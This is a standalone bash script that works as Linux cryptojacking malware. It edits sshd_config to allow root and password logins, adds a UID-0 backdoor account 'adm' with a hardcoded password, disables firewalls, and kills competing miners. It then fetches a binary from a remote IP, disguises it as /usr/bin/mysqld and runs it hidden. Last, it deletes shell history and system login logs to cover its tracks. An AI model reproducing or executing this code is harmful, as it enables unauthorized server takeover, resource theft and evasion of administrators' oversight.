#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills(){
sed -i '/nameserver*/d' /etc/resolv.conf
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
needreset=1;
iptables -I INPUT -p TCP --dport 1522 -j ACCEPT
iptables -I INPUT -p TCP --dport 3307 -j ACCEPT
iptables -I INPUT -p TCP --dport 6001 -j ACCEPT

sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
sed -i '/PermitRootLogin*/d' /etc/ssh/sshd_config
sed -i '/PasswordAuthentication*/d' /etc/ssh/sshd_config
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "Port 22" >> /etc/ssh/sshd_config
echo "Port 57" >> /etc/ssh/sshd_config
chattr -ai /etc/passwd
chattr -ai /etc/shadow
sed -i '/adm:*/d' /etc/passwd
sed -i '3a adm:x:0:4:adm:/var/adm:/bin/bash' /etc/passwd
sed -i '/n:x:*/d' /etc/passwd
sed -i '/nig:x:*/d' /etc/passwd
sed -i '/system:x:*/d' /etc/passwd
#echo fuckpasswd | passwd --stdin adm
echo -e "fuckpasswd\fuckpasswd" | passwd adm
service sshd restart
service ssh restart
/etc/init.d/iptables stop
service iptables stop
sUsEFirewall2 stopresUsEFirewall2 stop
systemctl stop firewalld.service
systemctl disable firewalld.service
pkill -f sourplum
pkill -f javaed
rm -rf /bin/javaed
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
chattr -ai /bin/initdr
chattr -ai /bin/sysdr
systemctl disable pwnrige.service
rm -rf /bin/initdr
rm -rf /bin/sysdr
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
rm -rf /tmp/kdevtmpfsi
pkill -f kdevtmpfsi
pkill -f AnXqV.yam
pkill -f tsm
pkill -f top
chattr -ai /bin/crondr
rm -rf /bin/crondr
rm -rf /tmp/.X25-unix
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f mysqlde
pkill -f pprt
pkill -f ppol
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /etc/init.d/S67

PORT_NUMBER=9999
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
#apt-get install -y sysv-rc-conf
pkill -f ssh.conf
chattr -aui /var/spool/cron/root
sed -i '/ps.lildick.cf/d' /var/spool/cron/root
sed -i '/privatekeysweeper.cf/d' /var/spool/cron/root
sed -i '/privatekeysweeper.cf/d' /etc/rc.local
sed -i '/alduro/d' /etc/rc.local
sed -i '/alduro/d' /var/spool/cron/root
sed -i '/sesa.txt/d' /var/spool/cron/root
sed -i '/fczyo/d' /var/spool/cron/root
pkill -f bbp
rm -rf /opt/bbp
rm -rf /var/tmp/bbp
rm -rf /etc/cron.hourly/omg
}
function downloadyam() {
		if [ ! -f "/usr/bin/mysqld" ]; then
				curl http://94.177.106.19:51644/mysqld -o /usr/bin/mysqld && chmod 0777 /usr/bin/mysqld
				
				if [ ! -f "/usr/bin/mysqld" ]; then
					wget http://94.177.106.19:51644/mysqld -O /usr/bin/mysqld && chmod 0777 /usr/bin/mysqld
					rm -rf /usr/bin/mysqld.*
				fi
				
				if [ ! -f "/usr/bin/mysqld" ]; then
					curl http://94.177.106.19:51644/mysqld -o /usr/bin/mysqld && chmod 0777 /usr/bin/mysqld
					rm -rf /usr/bin/mysqld.*
				fi
				
				if [ ! -f "/usr/bin/mysqld" ]; then
					wget http://94.177.106.19:51644/mysqld -O /usr/bin/mysqld && chmod 0777 /usr/bin/mysqld
					rm -rf /usr/bin/mysqld.*
				fi

				nohup /usr/bin/mysqld -P  mysqld>/dev/null 2>&1 &
		else
				p=$(ps aux | grep mysqld | grep -v grep | wc -l)
				if [ ${p} -eq 1 ];then
					echo "runing mysqld"
				elif [ ${p} -eq 0 ];then
					nohup /usr/bin/mysqld -P  mysqld>/dev/null 2>&1 &
				else
					echo "runing mysqld"
				fi
		fi
		if [ `ls -lt /usr/bin/mysqld | head -1 | awk '{print $5}'` -ne 1223123 ]; then
			pkill -f mysqld
			rm -rf /usr/bin/mysqld
			rm -rf /etc/conf.n
			curl http://94.177.106.19:51644/mysqld -o /usr/bin/mysqld && chmod 0777 /usr/bin/mysqld
			nohup /usr/bin/mysqld -P  mysqld>/dev/null 2>&1 &
		fi

		if [ `ls -lt /usr/bin/mysqld | head -1 | awk '{print $5}'` -ne 1223123 ]; then
			pkill -f mysqld
			rm -rf /usr/bin/mysqld
			rm -rf /etc/conf.n
			wget http://94.177.106.19:51644/mysqld -O /usr/bin/mysqld && chmod 0777 /usr/bin/mysqld
			nohup /usr/bin/mysqld -P  mysqld>/dev/null 2>&1 &
		fi
}

kills
downloadyam
rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/adm
rm -rf /var/log/btmp
rm -rf /var/log/wtmp 
rm -rf /var/log/utmp
rm -rf /etc/wtmp 
rm -rf /etc/utmp
rm -rf /root/.bash_h*
rm -rf /345.sh
rm -rf 345.sh
ss -apn  |   grep  mysql
ss -apn  |   grep  ssh
lscpu|grep CPU
history -c 